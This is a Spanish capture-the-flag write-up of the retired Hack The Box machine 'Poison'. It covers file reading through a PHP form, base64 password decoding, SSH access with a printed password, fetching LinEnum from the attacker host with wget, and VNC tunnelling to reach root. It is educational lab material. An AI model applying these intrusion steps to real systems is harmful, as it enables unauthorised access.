[HTB write-up] Poison

Hoy quiero compartir con vosotros un writeup para comprometer una de las máquinas recientemente retiradas en HacktheBox: Poison, un FreeBSD de dificultad fácil pero que tiene su "miga"...


ENUMERACIÓN

nmap –T4 –sT –sC –A 10.10.10.84


Vemos que el puerto 80 está abierto, así que visitamos la url y nos encontramos lo siguiente.
 

Si vamos probando por los diferentes ficheros, ini.php, info.php, nos va dando diferente información de la configuración de nuestro php, pero el que nos interesa especialmente es el listfiles.php.
Así que introducimos en el campo del formulario listfiles.php y obtenemos la respuesta mostrada en la imagen de abajo, de la cual nos llama la atención el pwdbackup.txt:


Probamos a ver qué tiene el fichero pwdbackup.txt, introduciendo el nombre en el formulario o bien directamente en la url.

Nos encontramos con un base64, encodeado 13 veces.


DECODE BASE64

Para esta parte tenemos varias formas de actuar: puedes decodearlo 13 veces una a una, poniendo diferentes pipes con base64, un script o realizarlo todo desde la línea de comandos como se muestra a continuación.

wget http://10.10.10.84/pwdbackup.txt -O pwdbackup.txt ; cat pwdbackup.txt | sed '1d' | sed '1d' > fichero; for((i=1;i<=13;i++)); do CONTENIDO=$(cat"$CONTENIDO" | base64 -d > fichero; done;cat fichero


¡Parece que tenemos una contraseña! pero nos falta el usuario. Probamos a ver si podemos visualizar ficheros del sistema y conseguimos mostrar el /etc/passwd.


Asó que nos conectamos por ssh con el usuario charix que hemos visto en el fichero /etc/passwd:

ssh charix@10.10.10.84
Password: Charix!2#4%6&8(0

Obtenemos la Shell y tenemos user:


ESCALADO DE PRIVILEGIOS

En el mismo directorio nos encontramos con un fichero llamado secret.zip, que transferimos a nuestra máquina para su posterior tratamiento:

python -m SimpleHTTPServer 9000


Una vez tenemos el fichero de nuestro equipo, intentemos extraerlo pero nos pide contraseña, previamente se probaron diferentes diccionarios pero ninguno funcionó, así que probamos con la contraseña del ssh y ¡bingo! se extrae el contenido:


Si revisamos el contenido del fichero veremos caracteres raros. De momento yo no realicé nada más con él ya que no le vi mucho sentido al contenido.

Seguimos con el escalado...

Lo siguiente que haremos será traernos LinEnum a la máquina:

wget http://10.10.14.9/LinEnum.sh

Ejecutamos LinEnum.sh y podemos ver que tenemos un vncserver, lo que pinta guay, ya que dicho servicio no fue detectado en la enumeración previa.


También podemos comprobar que hay un servicio vnc en ejecución con el siguiente comando:


Nos intentamos conectar a servidor vnc desde la propia máquina pero no podemos, ya que no tenemos ni vncconnect ni vncviewer.

Por otro lado, tampoco podemos conectarnos desde nuestra máquina anfitriona ya que el servidor vncserver esta corriendo localmente y es inaccesible desde el exterior, por lo que procederemos a redireccionar dicho servicio a un puerto de nuestra máquina:

ssh –L 9999:127.0.0.1:5901 charix@10.10.10.84

Como veis, ahora tenemos el servicio de vnc como si estuviera ejecutándose en localhost en el puerto 9999 y redireccionado al puerto 5901, comprobamos:

netstat –anp


Procedemos a conectarnos al vnc.

vncviewer localhost:9999

Pero nos pide unas credenciales... Volvemos a probar con la password de ssh, pero esta vez no tenemos éxito:


Recapitulando un poco y si echamos la vista atrás, antes descomprimimos un .zip que contenía un fichero llamado secret, y si vamos a la ayuda del comando vncviewer vemos lo siguiente.


Tenemos un parámetro que permite autenticarse en vnc a través de un fichero que contiene la contraseña, por lo que podemos probar a ejecutar la siguiente sentencia:
       
vncviewer localhost::9999 –passwd secret


Y voilá! obtenemos una conexión por vnc como usuario root.


Ya podemos copiar la flag y root dance!

Contribución gracias a Frankytech

Comentarios